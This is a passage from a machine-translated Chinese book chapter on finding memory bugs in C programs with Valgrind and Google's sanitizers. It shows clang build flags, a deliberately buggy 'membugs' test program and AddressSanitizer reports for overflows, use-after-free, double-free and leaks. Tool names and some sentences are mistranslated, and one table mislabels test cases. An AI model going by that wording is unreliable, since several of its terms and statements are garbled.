进行内存分配(这使得在资源高度受限的嵌入式 Linux 系统上运行 Valgrind 变得困难)。 -* 无法捕获静态(编译时)分配的内存区域上的错误。 -* 为了查看带有行号信息的调用堆栈,需要使用`-g`标志重新编译/编译。 - -事实是,Valgrind 仍然是人们对付虫子的强大武器。 有许多现实世界中使用 Valgrind 的项目;请访问[http://valgrind.org/gallery/users.html](http://valgrind.org/gallery/users.html)*查看长长的列表。* - -There is always more to learn and explore: Valgrind provides a  GDB monitor mode allowing you to do advanced debugging on your program via the **GNU debugger** (**GDB**). This is particularly useful for using Valgrind on programs that never terminate (daemons being the classic case). - -The third chapter of Valgrind's manual is very helpful in this regard: [http://valgrind.org/docs/manual/manual-core-adv.html](http://valgrind.org/docs/manual/manual-core-adv.html) - -# 消毒剂工具 - -Saniizer 是 Google 的一套开源工具;与其他内存调试工具一样,它们可以解决常见的内存错误和 UB 问题,包括 OOB(越界访问:读/写下/溢出)、UAF、UAR、双重释放和内存泄漏。 其中一个工具还处理 C/C++代码中的数据竞争。 - -一个关键的区别是,杀菌器工具通过编译器将指令插入到代码中。 它们使用一种称为**编译时指令插入**(CTI)的技术以及影子内存技术。 在撰写本文时,ASAN 是 GCC 版本 4.8 和 LLVM(Clang)版本的一部分并提供支持。 3.1 及以上。 - -# 消毒器工具包 - -要使用给定的工具,请使用使用情况栏中显示的标志编译程序: - -| **消毒器工具(简称)** | **目的** | **用法(编译器标志)** | **Linux 平台[+评论]** | -| **AddressSaniizer**(**Asan**) | 检测一般内存错误[堆|堆栈|全局缓冲区溢出|溢出、UAF、UAR、初始化顺序错误] | `-fsanitize=address` | X86、x86_64、ARM、Aarch64、MIPS、MIPS64、PPC64。 [不能与 Tsan 合并] | -| **内核地址 Saniizer**(**喀山**) | 用于 Linux 内核空间的 ASSAN | `-fsanitize=kernel-address` | X86_64[内核版本>=4.0],Aarch64[内核版本>=4.4] | -| **内存卫生机**(**MSAN**) | UMR 检测器 | `-fsanitize=memory -fPIE -pie [-fno-omit-frame-pointer]` | 仅 Linux x86_64 | -| **ThreadSaniizer**(**Tsan**) | 数据竞争检测器 | `-fsanitize=thread` | 仅限 Linux x86_64。 [不能与 ASAN 或 LSAN 标志组合] | -| **LeakSaniizer**(**lsan**) -(ASAN 的子集) | 内存泄漏检测仪 | `-fsanitize=leak` | Linux x86_64 和 OS X[无法与 Tsan 结合] | -| **未定义行为卫生剂**(**UBSAN**) | UB 探测器 | `-fsanitize=undefined` | X86、x86_64、ARM、Aarch64、PPC64、MIPS、MIPS64 | - -Additional DocumentationGoogle maintains a GitHub page with documentation for the sanitizer tools: - -* [https://github.com/google/sanitizers](https://github.com/google/sanitizers) -* [https://github.com/google/sanitizers/wiki](https://github.com/google/sanitizers/wiki) -* [https://github.com/google/sanitizers/wiki/SanitizerCommonFlags](https://github.com/google/sanitizers/wiki/SanitizerCommonFlags) - -There are links leading to each of the tool's individual wiki (documentation) pages. It's recommended you read them in detail when using a tool (for example, each tool might have specific flags and/or environment variables that the user can make use of). - -The man page on `gcc(1)` is a rich source of information on the intricacies of the `-fsanitize=` sanitizer tool gcc options. Interestingly, most of the sanitizer tools are supported on the Android (>=4.1) platform as well. - -The Clang documentation also documents the use of the sanitizer tools: [https://clang.llvm.org/docs/index.html](https://clang.llvm.org/docs/index.html). - -在本章中,我们重点介绍如何使用 ASAN 工具。 - -# 构建与 ASAN 配合使用的程序 - -如上表所示,我们需要使用适当的编译器标志编译我们的目标应用 membug。 此外,不使用`gcc`作为编译器,建议使用`clang`。 - -`clang` is considered a compiler frontend for several programming languages, including C and C++; the backend is the LLVM compiler infrastructure project. More information on Clang is available on its Wikipedia page. You will need to ensure that the Clang package is installed on your Linux box; using your distribution's package manager (`apt-get`, `dnf`, `rpm`) would be the easiest way. - -下面这段来自我们的 Membugs 生成文件的代码片段显示了我们如何使用`clang`编译用于目标的 Membugs 消毒器: - -```sh -CC=${CROSS_COMPILE}gcc -CL=${CROSS_COMPILE}clang - -CFLAGS=-Wall -UDEBUG -CFLAGS_DBG=-g -ggdb -gdwarf-4 -O0 -Wall -Wextra -DDEBUG -CFLAGS_DBG_ASAN=${CFLAGS_DBG} -fsanitize=address -CFLAGS_DBG_MSAN=${CFLAGS_DBG} -fsanitize=memory -CFLAGS_DBG_UB=${CFLAGS_DBG} -fsanitize=undefined - -[...] - -#--- Sanitizers (use clang): _dbg_[asan|ub|msan] -membugs_dbg_asan.o: membugs.c - ${CL} ${CFLAGS_DBG_ASAN} -c membugs.c -o membugs_dbg_asan.o -membugs_dbg_asan: membugs_dbg_asan.o common_dbg_asan.o - ${CL} ${CFLAGS_DBG_ASAN} -o membugs_dbg_asan membugs_dbg_asan.o common_dbg_asan.o - -membugs_dbg_ub.o: membugs.c - ${CL} ${CFLAGS_DBG_UB} -c membugs.c -o membugs_dbg_ub.o -membugs_dbg_ub: membugs_dbg_ub.o common_dbg_ub.o - ${CL} ${CFLAGS_DBG_UB} -o membugs_dbg_ub membugs_dbg_ub.o common_dbg_ub.o - -membugs_dbg_msan.o: membugs.c - ${CL} ${CFLAGS_DBG_MSAN} -c membugs.c -o membugs_dbg_msan.o -membugs_dbg_msan: membugs_dbg_msan.o common_dbg_msan.o - ${CL} ${CFLAGS_DBG_MSAN} -o membugs_dbg_msan membugs_dbg_msan.o common_dbg_msan.o -[...] -``` - -# 使用 ASAN 运行测试用例 - -为了唤醒我们的记忆,这里是我们的 membugs 程序的帮助屏幕: - -```sh -$ ./membugs_dbg_asan -Usage: ./membugs_dbg_asan option [ -h | --help] - option = 1 : uninitialized var test case - option = 2 : out-of-bounds : write overflow [on compile-time memory] - option = 3 : out-of-bounds : write overflow [on dynamic memory] - option = 4 : out-of-bounds : write underflow - option = 5 : out-of-bounds : read overflow [on compile-time memory] - option = 6 : out-of-bounds : read overflow [on dynamic memory] - option = 7 : out-of-bounds : read underflow - option = 8 : UAF (use-after-free) test case - option = 9 : UAR (use-after-return) test case - option = 10 : double-free test case - option = 11 : memory leak test case 1: simple leak - option = 12 : memory leak test case 2: leak more (in a loop) - option = 13 : memory leak test case 3: "lib" API leak --h | --help : show this help screen -$ -``` - -The membugs program has a total of 13 test cases; we shall not attempt to display the output of all of them in this book; we leave it as an exercise to the reader to try out building and running the program with all test cases under ASan and deciphering its output report. It would be of interest to readers to see the summary table at the end of this section, showing the result of running ASan on each of the test cases. - -**测试用例#1:**UMR - -让我们尝试第一个测试用例-未初始化的变量读取测试用例: - -```sh -$ ./membugs_dbg_asan 1 -false case -$ -``` - -它没有抓住虫子! 是的,我们遇到了 ASAN 的限制:AddressSaniizer 无法在静态(编译时)分配的内存上捕获 UMR。 瓦尔格林德做到了。 - -嗯,这是由 MSAN 工具负责的;它的具体工作是捕获 UMR 错误。 文档指出,MSAN 只能在动态分配的内存上捕获 UMR。 我们发现它甚至在静态分配的内存上捕获了一个 UMR 错误,我们的简单测试用例使用该内存: - -```sh -$ ./membugs_dbg_msan 1 -==3095==WARNING: MemorySanitizer: use-of-uninitialized-value - #0 0x496eb8 (<...>/ch5/membugs_dbg_msan+0x496eb8) - #1 0x494425 (<...>/ch5/membugs_dbg_msan+0x494425) - #2 0x493f2b (<...>/ch5/membugs_dbg_msan+0x493f2b) - #3 0x7fc32f17ab96 (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) - #4 0x41a8c9 (<...>/ch5/membugs_dbg_msan+0x41a8c9) - SUMMARY: MemorySanitizer: use-of-uninitialized-value (<...>/ch5/membugs_dbg_msan+0x496eb8) Exiting $ -``` - -它捕捉到了错误;然而,这一次,尽管我们使用了使用`-g -ggdb`*标志构建的调试二进制可执行文件,但是在堆栈跟踪中缺少通常的*`filename:line_number`信息。 实际上,在下一个测试用例中演示了一种获取此信息的方法。 - -现在,没关系:这给了我们一个学习另一种有用的调试技术的机会:`objdump(1)`是工具链实用程序之一,在这里可以提供很大的帮助(我们可以使用类似的工具,如:`readelf(1)`或`gdb(1)`)。 我们将使用`objdump(1)`(`-d`开关,并通过`-S`开关使用源代码)反汇编二进制可执行文件,并在其输出中查找发生 UMR 的地址: - -```sh -SUMMARY: MemorySanitizer: use-of-uninitialized-value (<...>/ch5/membugs_dbg_msan+0x496eb8) -``` - -由于`objdump`的输出相当大,我们将其截断,仅显示相关部分: - -```sh -$ objdump -d -S ./membugs_dbg_msan > tmp - -<< Now examine the tmp file >> - -$ cat tmp - -./membugs_dbg_msan: file format elf64-x86-64 - -Disassembly of section .init: - -000000000041a5b0 <_init>: - 41a5b0: 48 83 ec 08 sub $0x8,%rsp - 41a5b4: 48 8b 05 ad a9 2a 00 mov 0x2aa9ad(%rip),%rax # 6c4f68 <__gmon_start__> - 41a5bb: 48 85 c0 test %rax,%rax - 41a5be: 74 02 je 41a5c2 <_init+0x12> - -[...] - -0000000000496e60 : -{ - 496e60: 55 push %rbp - 496e61: 48 89 e5 mov %rsp,%rbp - int x; /* static mem */ - 496e64: 48 83 ec 10 sub $0x10,%rsp - [...] - if (x) - 496e7f: 8b 55 fc mov -0x4(%rbp),%edx - 496e82: 8b 31 mov (%rcx),%esi - 496e84: 89 f7 mov %esi,%edi - [...] - 496eaf: e9 00 00 00 00 jmpq 496eb4 - 496eb4: e8 a7 56 f8 ff callq 41c560 <__msan_warning_noreturn> - 496eb9: 8a 45 fb mov -0x5(%rbp),%al - 496ebc: a8 01 test $0x1,%al -[...] -``` - -与 MSAN 提供的作为第一个`0x496eb8`错误点的地址最匹配的输出是`0x496eb4`。这很好:只需查看前面的第一行代码就可以了;它是以下行: - -```sh - if (x) -``` - -完美无缺。 那正是 UMR 发生的地方! - -**测试用例#2:**写入溢出[在编译时内存上] - -我们在 Valgrind 和 Asan 下都运行`membugs`程序,只是调用了`write_overflow_compilemem()`函数来测试编译时分配的内存块上的越界写溢出内存错误。 -**案例 1:**使用 Valgrind -请注意,Valgrind 如何无法捕获越界内存错误: - -```sh -$ valgrind ./membugs_dbg 2 ==8959== Memcheck, a memory error detector -==8959== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. -==8959== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info -==8959== Command: ./membugs_dbg 2 -==8959== -==8959== -==8959== HEAP SUMMARY: -==8959== in use at exit: 0 bytes in 0 blocks -==8959== total heap usage: 0 allocs, 0 frees, 0 bytes allocated -==8959== -==8959== All heap blocks were freed -- no leaks are possible -==8959== -==8959== For counts of detected and suppressed errors, rerun with: -v -==8959== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) -$ -``` - -这是因为 Valgrind 仅限于使用动态分配的内存;它不能检测和使用编译时分配的内存。 - -**情况 2**:地址消毒剂 - -Asan 确实抓住了这个问题: - -![](img/073b0391-40f5-447a-b292-fab3db12592d.png) - -AddressSanitizer (ASan) catches the OOB write-overflow bug - -类似的文本版本如下所示: - -```sh -$ ./membugs_dbg_asan 2 -================================================================= -==25662==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff17e789f4 at pc 0x00000051271d bp 0x7fff17e789b0 sp 0x7fff17e789a8 -WRITE of size 4 at 0x7fff17e789f4 thread T0 - #0 0x51271c (<...>/membugs_dbg_asan+0x51271c) - #1 0x51244e (<...>/membugs_dbg_asan+0x51244e) - #2 0x512291 (<...>/membugs_dbg_asan+0x512291) - #3 0x7f7e19b2db96 (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) - #4 0x419ea9 (<...>/membugs_dbg_asan+0x419ea9) - -Address 0x7fff17e789f4 is located in stack of thread T0 at offset 52 in frame - #0 0x5125ef (/home/seawolf/0tmp/membugs_dbg_asan+0x5125ef) -[...] -SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/seawolf/0tmp/membugs_dbg_asan+0x51271c) -[...] -==25662==ABORTING -$ -``` - -但是请注意,在堆栈回溯中,没有`filename:line# information`。 那太令人失望了。 我们能拿到吗? - -是的,的确--诀窍在于确保几件事: - -* 使用`-g`开关编译应用(以包含调试符号信息;我们对所有*_DBG 版本都这样做)。 -* 除了 Clang 编译器之外,还必须安装名为`llvm-symbolizer`的工具。 安装后,您必须确定其在磁盘上的确切位置,并将该目录添加到路径中。 -* 在运行时,必须将`ASAN_OPTIONS`环境变量设置为`symbolize=1`值。 - -在这里,我们重新运行 BUGGY 案例,并使用`llvm-symbolizer`: - -```sh -$ export PATH=$PATH:/usr/lib/llvm-6.0/bin/ -$ ASAN_OPTIONS=symbolize=1 ./membugs_dbg_asan 2 -================================================================= -==25807==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd63e80cf4 at pc 0x00000051271d bp 0x7ffd63e80cb0 sp 0x7ffd63e80ca8 -WRITE of size 4 at 0x7ffd63e80cf4 thread T0 - #0 0x51271c in write_overflow_compilemem <...>/ch5/membugs.c:268:10 - #1 0x51244e in process_args <...>/ch5/membugs.c:325:4 - #2 0x512291 in main <...>/ch5/membugs.c:375:2 - #3 0x7f9823642b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 - #4 0x419ea9 in _start (<...>/membugs_dbg_asan+0x419ea9) -[...] -$ -``` - -现在,新的`filename:line# information`出现了! - -显然,ASAN 可以检测分配的和动态分配的内存区的编译时,从而捕获这两种内存型错误。 - -此外,正如我们所看到的,它显示了一个调用堆栈(当然是从下到上阅读)。 我们可以看到调用链是: - -```sh -_start --> __libc_start_main --> main --> process_args --> - write_overflow_compilemem -``` - -AddressSaniizer 还会显示“错误地址周围的阴影字节:”;在此,我们不会尝试解释用于捕获此类错误的内存跟踪技术;如果感兴趣,请参阅 GitHub 存储库上的*进一步阅读*部分。 - -**测试用例#3:**写入溢出(在动态存储器上) - -不出所料,Asan 抓住了这个漏洞: - -```sh -$ ./membugs_dbg_asan 3 -================================================================= -==25848==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000018 at pc 0x0000004aaedc bp 0x7ffe64dd2cd0 sp 0x7ffe64dd2480 -WRITE of size 10 at 0x602000000018 thread T0 - #0 0x4aaedb in __interceptor_strcpy.part.245 (<...>/membugs_dbg_asan+0x4aaedb) - #1 0x5128fd in write_overflow_dynmem <...>/ch5/membugs.c:258:2 - #2 0x512458 in process_args <...>/ch5/membugs.c:328:4 - #3 0x512291 in main <...>/ch5/membugs.c:375:2 - #4 0x7f93abb88b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 - #5 0x419ea9 in _start (<...>/membugs_dbg_asan+0x419ea9) - -0x602000000018 is located 0 bytes to the right of 8-byte region [0x602000000010,0x602000000018) allocated by thread T0 here: - #0 0x4d9d60 in malloc (<...>/membugs_dbg_asan+0x4d9d60) - #1 0x512896 in write_overflow_dynmem <...>/ch5/membugs.c:254:9 - #2 0x512458 in process_args <...>/ch5/membugs.c:328:4 - #3 0x512291 in main <...>/ch5/membugs.c:375:2 - #4 0x7f93abb88b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 -[...] -``` - -当`llvm-symbolizer`数据在路径中时,`filename:line# information`会再次出现。 - -不支持尝试编译杀菌器指令插入(通过`-fsanitize=`GCC 开关)和尝试在 Valgrind 上运行二进制可执行文件;当我们尝试此操作时,Valgrind 会报告以下信息: - -```sh -$ valgrind ./membugs_dbg 3 -==8917== Memcheck, a memory error detector -==8917== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. -==8917== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info -==8917== Command: ./membugs_dbg 3 -==8917== -==8917==ASan runtime does not come first in initial library list; you should either link runtime to your application or manually preload it with LD_PRELOAD. -[...] -``` - -**测试用例#8:**UAF(免费后使用)。 看一下下面的代码: - -```sh -$ ./membugs_dbg_asan 8 uaf():162: arr = 0x615000000080:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -================================================================= -==25883==ERROR: AddressSanitizer: heap-use-after-free on address 0x615000000080 at pc 0x000000444b14 bp 0x7ffde4315390 sp 0x7ffde4314b40 -WRITE of size 22 at 0x615000000080 thread T0 - #0 0x444b13 in strncpy (<...>/membugs_dbg_asan+0x444b13) - #1 0x513529 in uaf <...>/ch5/membugs.c:172:2 - #2 0x512496 in process_args <...>/ch5/membugs.c:344:4 - #3 0x512291 in main <...>/ch5/membugs.c:375:2 - #4 0x7f4ceea9fb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 - #5 0x419ea9 in _start (<...>/membugs_dbg_asan+0x419ea9) - -0x615000000080 is located 0 bytes inside of 512-byte region [0x615000000080,0x615000000280) -freed by thread T0 here: - #0 0x4d9b90 in __interceptor_free.localalias.0 (<...>/membugs_dbg_asan+0x4d9b90) - #1 0x513502 in uaf <...>/ch5/membugs.c:171:2 - #2 0x512496 in process_args <...>/ch5/membugs.c:344:4 - #3 0x512291 in main <...>/ch5/membugs.c:375:2 - #4 0x7f4ceea9fb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 - -previously allocated by thread T0 here: - #0 0x4d9d60 in malloc (<...>/membugs_dbg_asan+0x4d9d60) - #1 0x513336 in uaf <...>/ch5/membugs.c:157:8 - #2 0x512496 in process_args <...>/ch5/membugs.c:344:4 - #3 0x512291 in main <...>/ch5/membugs.c:375:2 - #4 0x7f4ceea9fb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 - -SUMMARY: AddressSanitizer: heap-use-after-free (<...>/membugs_dbg_asan+0x444b13) in strncpy -[...] -``` - -超棒的。 ASAN 不仅报告 UAF 错误,甚至报告缓冲区被分配和释放的确切位置! 强大的东西。 - -**测试用例#9:**:uar - -出于本例的目的,假设我们使用`gcc`以通常的方式编译`membugs`程序。 运行测试用例: - -```sh -$ ./membugs_dbg 2>&1 | grep -w 9 - option = 9 : UAR (use-after-return) test case -$ ./membugs_dbg_asan 9 -res: (null) -$ -``` - -因此,阿山并没有染上这种危险的 UAR 病毒! 正如我们之前看到的,Valgrind 也没有。 但是,编译器确实会发出警告! - -不过,请稍等:杀菌器文档中提到,如果满足以下条件,Asan 确实可以捕捉到这个 UAR 漏洞: - -* `clang`(r191186 以后版本)用来编译代码(不是 GCC) -* 将特殊标志`detect_stack_use_after_return`设置为`1` - -因此,我们通过 Clang 重新编译可执行文件(同样,我们假设安装了 Clang 包)。 实际上,我们的 Makefile 确实为所有的`membugs_dbg_*`构建使用了`clang`。 因此,请确保使用 Clang 作为编译器进行重新构建,然后重试: - -```sh -$ ASAN_OPTIONS=detect_stack_use_after_return=1 ./membugs_dbg_asan 9 -================================================================= -==25925==ERROR: AddressSanitizer: stack-use-after-return on address 0x7f7721a00020 at pc 0x000000445b17 bp 0x7ffdb7c3ba10 sp 0x7ffdb7c3b1c0 -READ of size 23 at 0x7f7721a00020 thread T0 - #0 0x445b16 in printf_common(void*, char const*, __va_list_tag*) (<...>/membugs_dbg_asan+0x445b16) - #1 0x4465db in vprintf (<...>/membugs_dbg_asan+0x4465db) - #2 0x4466ae in __interceptor_printf (<...>/membugs_dbg_asan+0x4466ae) - #3 0x5124b9 in process_args <...>/ch5/membugs.c:348:4 - #4 0x512291 in main <...>/ch5/membugs.c:375:2 - #5 0x7f7724e80b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 - #6 0x419ea9 in _start (/home/seawolf/0tmp/membugs_dbg_asan+0x419ea9) - -Address 0x7f7721a00020 is located in stack of thread T0 at offset 32 in frame - #0 0x5135ef in uar <...>/ch5/membugs.c:141 - - This frame has 1 object(s): - [32, 64) 'name' (line 142) <== Memory access at offset 32 is inside this variable -[...] -``` - -它确实起作用了。 正如我们在*测试用例#1:UMR*中所展示的,人们可以进一步利用`objdump(1)`来梳理出错误发生的确切位置。 我们把这篇文章留给读者作为练习。 - -有关 ASAN 如何检测堆栈 UAR 的更多信息,请参见[https://github.com/google/sanitizers/wiki/AddressSanitizerUseAfterReturn](https://github.com/google/sanitizers/wiki/AddressSanitizerUseAfterReturn)。 - -**测试用例#10:**双空闲 - -这个 bug 的测试用例有点有趣(请参考前面的`membugs.c`源代码);我们对指针执行`malloc`,`free`,然后使用非常大的值(`-1UL`,它变成无符号的,因此太大)执行另一个`malloc`,这样它肯定会失败。 在错误处理代码中,我们(故意)释放前面已经释放的指针,从而生成双重释放测试用例。 在更简单的伪代码中: - -```sh -ptr = malloc(n); -strncpy(...); -free(ptr); - -bogus = malloc(-1UL); /* will fail */ -if (!bogus) { - free(ptr); /* the Bug! */ - exit(1); -} -``` - -重要的是,这种编码揭示了另一个真正重要的教训:开发人员通常没有对错误处理代码路径给予足够的重视;他们可能会也可能不会编写否定的测试用例来彻底测试它们。 这可能会导致严重的错误! - -起初,通过 ASAN 指令插入来运行它并没有达到预期的效果:您将看到,由于非常巨大的`malloc`故障,ASAN 实际上中止了流程执行;因此,它没有检测到我们正在寻找的真正错误-双重释放: - -```sh -$ ./membugs_dbg_asan 10 doublefree(): cond 0 -doublefree(): cond 1 -==25959==WARNING: AddressSanitizer failed to allocate 0xffffffffffffffff bytes -==25959==AddressSanitizer's allocator is terminating the process instead of returning 0 -==25959==If you don't like this behavior set allocator_may_return_null=1 -==25959==AddressSanitizer CHECK failed: /build/llvm-toolchain-6.0-QjOn7h/llvm-toolchain-6.0-6.0/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225 "((0)) != (0)" (0x0, 0x0) - #0 0x4e2eb5 in __asan::AsanCheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (<...>/membugs_dbg_asan+0x4e2eb5) - #1 0x500765 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (<...>/membugs_dbg_asan+0x500765) - #2 0x4e92a6 in __sanitizer::ReportAllocatorCannotReturnNull() (<...>/membugs_dbg_asan+0x4e92a6) - #3 0x4e92e6 in __sanitizer::ReturnNullOrDieOnFailure::OnBadRequest() (<...>/membugs_dbg_asan+0x4e92e6) - #4 0x424e66 in __asan::asan_malloc(unsigned long, __sanitizer::BufferedStackTrace*) (<...>/membugs_dbg_asan+0x424e66) - #5 0x4d9d3b in malloc (<...>/membugs_dbg_asan+0x4d9d3b) - #6 0x513938 in doublefree <...>/ch5/membugs.c:129:11 - #7 0x5124d2 in process_args <...>/ch5/membugs.c:352:4 - #8 0x512291 in main <...>/ch5/membugs.c:375:2 - #9 0x7f8a7deccb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 - #10 0x419ea9 in _start (/home/seawolf/0tmp/membugs_dbg_asan+0x419ea9) - -$ -``` - -是的,但是,请注意前面的输出行,它说: - -```sh -[...] If you don't like this behavior set allocator_may_return_null=1 [...] -``` - -我们怎么告诉阿山这件事? 环境变量`ASAN_OPTIONS`使传递运行时选项成为可能;查找它们(回想一下,我们已经提供了指向 Saniizer 工具集的文档链接),我们这样使用它(可以同时传递多个选项,用`:`分隔选项;为了好玩,我们还打开了详细程度选项,但修剪了输出): - -```sh -$ ASAN_OPTIONS=verbosity=1:allocator_may_return_null=1 ./membugs_dbg_asan 10 -==26026==AddressSanitizer: libc interceptors initialized -[...] -SHADOW_OFFSET: 0x7fff8000 -==26026==Installed the sigaction for signal 11 -==26026==Installed the sigaction for signal 7 -==26026==Installed the sigaction for signal 8 -==26026==T0: stack [0x7fffdf206000,0x7fffdfa06000) size 0x800000; local=0x7fffdfa039a8 -==26026==AddressSanitizer Init done -doublefree(): cond 0 -doublefree(): cond 1 -==26026==WARNING: AddressSanitizer failed to allocate 0xffffffffffffffff bytes -membugs.c:doublefree:132: malloc failed -================================================================= -==26026==ERROR: AddressSanitizer: attempting double-free on 0x615000000300 in thread T0: - #0 0x4d9b90 in __interceptor_free.localalias.0 (<...>/membugs_dbg_asan+0x4d9b90) - #1 0x5139b0 in doublefree <...>/membugs.c:133:4 - #2 0x5124d2 in process_args <...>/ch5/membugs.c:352:4 - #3 0x512291 in main <...>/ch5/membugs.c:375:2 - #4 0x7fd41e565b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 - #5 0x419ea9 in _start (/home/seawolf/0tmp/membugs_dbg_asan+0x419ea9) - -0x615000000300 is located 0 bytes inside of 512-byte region [0x615000000300,0x615000000500) freed by thread T0 here: - #0 0x4d9b90 in __interceptor_free.localalias.0 (<...>/membugs_dbg_asan+0x4d9b90) - #1 0x51391f in doublefree <...>/ch5/membugs.c:126:2 - #2 0x5124d2 in process_args <...>/ch5/membugs.c:352:4 - #3 0x512291 in main <...>/ch5/membugs.c:375:2 - #4 0x7fd41e565b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 - -previously allocated by thread T0 here: - #0 0x4d9d60 in malloc (<...>/membugs_dbg_asan+0x4d9d60) - #1 0x51389d in doublefree <...>/ch5/membugs.c:122:8 - #2 0x5124d2 in process_args <...>/ch5/membugs.c:352:4 - #3 0x512291 in main <...>/ch5/membugs.c:375:2 - #4 0x7fd41e565b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 - -SUMMARY: AddressSanitizer: double-free (<...>/membugs_dbg_asan+0x4d9b90) in __interceptor_free.localalias.0 -==26026==ABORTING -$ -``` - -这一次,即使遇到分配故障,ASAN 仍会继续运行,因此找到了真正的 bug--双重释放。 - -**测试用例#11:**内存泄漏测试用例 1-简单泄漏。 请参阅以下代码: - -```sh -$ ./membugs_dbg_asan 11 -leakage_case1(): will now leak 32 bytes (0 MB) -leakage_case1(): will now leak 1048576 bytes (1 MB) - -================================================================= -==26054==ERROR: LeakSanitizer: detected memory leaks - -Direct leak of 1048576 byte(s) in 1 object(s) allocated from: - #0 0x4d9d60 in malloc (<...>/membugs_dbg_asan+0x4d9d60) - #1 0x513e34 in amleaky <...>/ch5/membugs.c:66:8 - #2 0x513a79 in leakage_case1 <...>/ch5/membugs.c:111:2 - #3 0x5124ef in process_args <...>/ch5/membugs.c:356:4 - #4 0x512291 in main <...>/ch5/membugs.c:375:2 - #5 0x7f2dd5884b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 - -Direct leak of 32 byte(s) in 1 object(s) allocated from: - #0 0x4d9d60 in malloc (<...>/membugs_dbg_asan+0x4d9d60) - #1 0x513e34 in amleaky <...>/ch5/membugs.c:66:8 - #2 0x513a79 in leakage_case1 <...>/ch5/membugs.c:111:2 - #3 0x5124e3 in process_args <...>/ch5/membugs.c:355:4 - #4 0x512291 in main <...>/ch5/membugs.c:375:2 - #5 0x7f2dd5884b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 - -SUMMARY: AddressSanitizer: 1048608 byte(s) leaked in 2 allocation(s). -$ -``` - -它确实找到了漏洞,并准确定位了它。 还要注意的是,LeakSaniizer(LSAN)实际上是 ASAN 的一个子集。 - -**测试用例#13****:**内存泄漏测试用例 3-libAPI 泄漏 - -下面是一个截图,展示了当 Asan(在引擎盖下,lsan)捕捉到泄漏时的行动: - -![](img/80eaeb0d-0528-4af7-90d0-e96605c81481.png) - -抓得好! - -# AddressSaniizer(ASAN)汇总表 - -关于我们的测试用例(包含在我们的`membugs`程序中),下面是 Asan 的成绩单: - -| **测试用例编号** | **测试用例** | **是否被地址消毒器检测到?** | -| 1. | UMR | No[1] | -| 2 个 | OOB(越界):写入溢出 -[在编译时内存上] | 是 | -| 3. | OOB(越界):写入溢出 -[在动态内存上] | 是 | -| 4. | OOB(越界):写入下溢 -[在动态内存上] | 是 | -| 5. | OOB(越界):读取溢出 -[在编译时内存上] | 是 | -| 6. | OOB(越界):读取溢出 -[在动态内存上] | 是 | -| 7. | OOB(越界):读取下溢 -[在动态内存上] | 是 | -| 8 个 | UAF(释放后使用)也称为悬挂式指针 | 是 | -| 9. | UAR 也称为 UAS(范围后使用) | 是的[2] | -| 10 个 | 双重免费 | 是 | -| 11. | 内存泄漏测试用例 1:简单泄漏 | 是 | -| 12 个 | 内存泄漏测试用例 1:泄漏更多(循环中) | 是 | -| 13 个 | 内存泄漏测试案例 1:Lib API 泄漏 | 是 | - -Table 4: AddressSanitizer and Memory Bugs - -[1]**内存清洁器**(**MSAN**)正好实现了这一目的-它可以检测 UMR。但是,有两件事需要注意: - -* MSAN 仅在动态分配的内存上检测到 UMR -* 成功使用 MSAN 需要使用 Clang 编译器(它不适用于 GCC) - -[2]这需要注意的是,代码是用 Clang 编译的,`detect_stack_use_after_return=1`标志是通过`ASAN_OPTIONS`传递的。 - -# AddressSaniizer 利弊-快速总结 - -ASAN 的优点: - -* 捕获静态(编译时)和动态分配的内存区域 - 上的常见内存错误(UB) - * 越界(OOB)内存访问(读/写下溢/溢出错误) - * 释放后使用(UAF)错误 - * 退货后使用(UAR)错误 - * 双重免费 - * 渗漏 / 泄密 / 泄漏 - -* 性能远远优于其他工具(如 Valgrind);最坏的情况下性能下降似乎是原来的 2 倍 -* 无需修改源代码 -* 完全支持多线程应用 - -桑康斯: - -* ASAN 无法检测到某些类型的错误: - * UMR(如前所述,有一些注意事项,MSAN 可以) - * 未检测到所有 UAF 错误 - * IOF(整数下溢/上溢)错误 -* 一次使用某个工具;不能总是组合多个消毒器工具(见上表);这意味着通常必须为 ASSAN、TSAN、LSAN 编写单独的测试用例 -* 编译器: - * 通常,需要使用 LLVM 前端 Clang 和适当的编译器标志重新编译程序。 - * 为了查看带有行号信息的调用堆栈,需要使用`-g`标志重新编译/编译。 - -在这里,我们合并了前面的两个表。 请参阅下表内存错误-Valgrind 和 Address Saniizer 之间的快速比较: - -| **测试用例编号** | **测试用例** | **被 Valgrind 检测到?** | **是否被地址消毒器检测到?** | -| 1. | UMR | 是 | No[1] | -| 